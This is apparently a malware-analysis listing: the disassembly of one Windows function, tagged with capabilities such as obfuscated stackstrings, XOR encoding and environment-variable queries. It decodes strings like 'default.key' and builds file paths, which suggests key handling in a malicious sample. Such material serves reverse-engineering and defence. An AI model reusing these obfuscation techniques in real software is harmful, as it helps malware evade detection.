Function at 0x4020e7
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
push ebx
push esi
push edi
push 0x4190f8
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x20
mov edx, 0x41404d
mov ecx, 0x419170
call fcn.00406872
pop ecx
push 0x20
mov edx, 0x41406d
mov ecx, 0x419130
call fcn.00406872
mov byte [ebp - 0x38], 0x6a
xor ebx, ebx
mov byte [ebp - 0x37], 6
mov byte [ebp - 0x36], 0x6b
mov byte [ebp - 0x35], 6
mov byte [ebp - 0x34], 0x6c
mov byte [ebp - 0x33], 6
mov byte [ebp - 0x32], 0x67
mov byte [ebp - 0x31], 6
mov byte [ebp - 0x30], 0x7b
mov byte [ebp - 0x2f], 6
mov byte [ebp - 0x2e], 0x72
mov byte [ebp - 0x2d], 6
mov byte [ebp - 0x2c], 0x7a
mov byte [ebp - 0x2b], 6
mov byte [ebp - 0x2a], 0x34
mov byte [ebp - 0x29], 6
mov byte [ebp - 0x28], 0x71
mov byte [ebp - 0x27], 6
mov byte [ebp - 0x26], 0x6b
mov byte [ebp - 0x25], 6
mov byte [ebp - 0x24], 0x7f
mov byte [ebp - 0x23], 6
mov byte [ebp - 0x22], 6
mov byte [ebp - 0x21], bl
mov al, byte [ebp - 0x38]
pop ecx
mov eax, ebx
sub byte [ebp + eax - 0x38], 6
inc eax
cmp eax, 0x17
jb 0x402188
mov ecx, 0x10000
call fcn.004067f9
mov esi, eax
test esi, esi
jne 0x4021ab
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edi, 0x8000
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x4021cf
cmp word [esi + eax*2], 0x5c
je 0x4021cf
xor ecx, ecx
mov word [esi + eax*2], cx
sub eax, 1
jne 0x4021bd
lea eax, [ebp - 0x38]
mov edx, esi
push eax
mov ecx, esi
call fcn.0040af88
pop ecx
mov ecx, esi
call fcn.0040ae7c
test eax, eax
jne 0x40227b
mov dword [ebp - 0x18], 7
mov edx, ebx
mov eax, dword [ebp - 0x18]
xor al, 0x54
mov byte [ebp - 0x14], al
mov eax, dword [ebp - 0x18]
inc al
mov byte [ebp - 0x13], al
mov eax, dword [ebp - 0x18]
add al, 2
xor al, 0x45
mov byte [ebp - 0x12], al
mov eax, dword [ebp - 0x18]
add al, 3
mov byte [ebp - 0x11], al
mov eax, dword [ebp - 0x18]
add al, 4
xor al, 0x4d
mov byte [ebp - 0x10], al
mov eax, dword [ebp - 0x18]
add al, 5
mov byte [ebp - 0xf], al
mov eax, dword [ebp - 0x18]
add al, 6
xor al, 0x50
mov byte [ebp - 0xe], al
mov eax, dword [ebp - 0x18]
add al, 7
mov byte [ebp - 0xd], al
mov eax, dword [ebp - 0x18]
add al, 8
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xc], al
mov al, byte [ebp - 0x14]
mov al, byte [ebp + edx - 0x14]
mov ecx, dword [ebp - 0x18]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x14], cl
inc edx
cmp edx, 9
jb 0x402249
push edi
push esi
lea eax, [ebp - 0x14]
mov byte [ebp - 0xb], bl
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea eax, [ebp - 0x38]
mov edx, esi
push eax
mov ecx, esi
call fcn.0040af88
pop ecx
mov edi, 0x418e78
mov ecx, esi
push 0x80
mov edx, edi
call fcn.0040af1b
pop ecx
test eax, eax
jne 0x402390
mov edx, edi
call fcn.00408a5c
push 0x4011f8
mov edx, edi
mov ecx, 0x418e98
call fcn.00404ea3
mov edx, edi
mov dword [esp], 0x419170
lea ecx, [ebp - 0x64]
call fcn.00404ea3
pop ecx
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0x64]
call fcn.00406153
pop ecx
push 0x20
lea ecx, [ebp - 0x64]
call fcn.00406851
add esp, 4
mov edx, edi
mov edi, 0x418eb8
mov ecx, edi
push 0x20
call fcn.00406872
lea edx, [ebp - 0xa8]
mov ecx, edi
call fcn.00402098
pop ecx
push 0x40
lea ecx, [ebp - 0xa8]
call fcn.00406851
mov edi, 0x418e78
mov dword [esp], 0x419130
mov edx, edi
lea ecx, [ebp - 0x64]
call fcn.00404ea3
pop ecx
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0x64]
call fcn.00406153
pop ecx
push 0x20
lea ecx, [ebp - 0x64]
call fcn.00406851
add esp, 4
mov edx, edi
mov edi, 0x418ed8
mov ecx, edi
push 0x20
call fcn.00406872
lea edx, [ebp - 0xa8]
mov ecx, edi
call fcn.00402098
pop ecx
push 0x40
lea ecx, [ebp - 0xa8]
call fcn.00406851
add esp, 4
mov ecx, 0x418e78
push 0x20
call fcn.00406851
add esp, 4
mov edx, ecx
mov ecx, esi
push 0x80
call fcn.0040aeca
pop ecx
mov ecx, esi
call fcn.0040689e
lea eax, [ebp - 0xa8]
mov ecx, 0x418e98
push eax
call fcn.00406153
pop ecx
mov esi, 0x419190
lea ecx, [ebp - 0xa8]
push esi
call fcn.00401fab
pop ecx
lea eax, [ebp - 0xa8]
mov ecx, 0x419130
push eax
call fcn.00406153
lea ecx, [ebp - 0xa8]
mov dword [esp], 0x4191b4
call fcn.00401fab
pop ecx
push 0x2d
pop eax
mov word [0x4191a0], ax
mov edx, ebx
mov word [0x4191aa], ax
mov word [0x4191b4], ax
mov word [0x4191be], ax
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x40], 3
mov byte [ebp - 0x3f], al
mov byte [ebp - 0x3e], 0x56
mov byte [ebp - 0x3d], al
mov byte [ebp - 0x3c], al
mov al, byte [ebp - 0x40]
mov byte [ebp - 0x3b], bl
mov al, byte [ebp + edx - 0x40]
mov ecx, dword [ebp - 0x44]
xor cl, al
mov byte [ebp + edx - 0x40], cl
inc edx
cmp edx, 5
jb 0x40240f
lea eax, [ebp - 0x40]
mov byte [ebp - 0x3b], bl
push eax
mov edi, 0x418ef8
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push edi
call esi
mov dword [ebp - 8], 0x40
mov edx, ebx
mov eax, dword [ebp - 8]
xor al, 0x7d
mov byte [ebp - 4], al
mov eax, dword [ebp - 8]
inc al
mov byte [ebp - 3], al
mov eax, dword [ebp - 8]
add al, 2
mov byte [ebp - 1], bl
mov byte [ebp - 2], al
mov al, byte [ebp - 4]
mov al, byte [ebp + edx - 4]
mov ecx, dword [ebp - 8]
add cl, dl
xor cl, al
mov byte [ebp + edx - 4], cl
inc edx
cmp edx, 3
jb 0x402466
lea eax, [ebp - 4]
mov byte [ebp - 1], bl
push eax
push edi
call esi
cmp dword [0x418d4d], ebx
je 0x402500
mov eax, 0x418d51
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x402500
mov dword [ebp - 0x20], 0x7a
mov edx, ebx
mov byte [ebp - 0x1c], 0x54
mov byte [ebp - 0x1b], 0x7a
mov byte [ebp - 0x1a], 0x7a
mov al, byte [ebp - 0x1c]
mov byte [ebp - 0x19], bl
mov al, byte [ebp + edx - 0x1c]
mov ecx, dword [ebp - 0x20]
xor cl, al
mov byte [ebp + edx - 0x1c], cl
inc edx
cmp edx, 3
jb 0x4024b8
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x19], bl
push eax
push edi
call esi
mov eax, dword [0x418d4d]
mov edx, 0x418d51
inc eax
mov ecx, 0x418d52
cmp byte [0x418d51], 0x2e
push eax
push 0x418f48
push 0xffffffffffffffff
cmovne ecx, edx
push ecx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret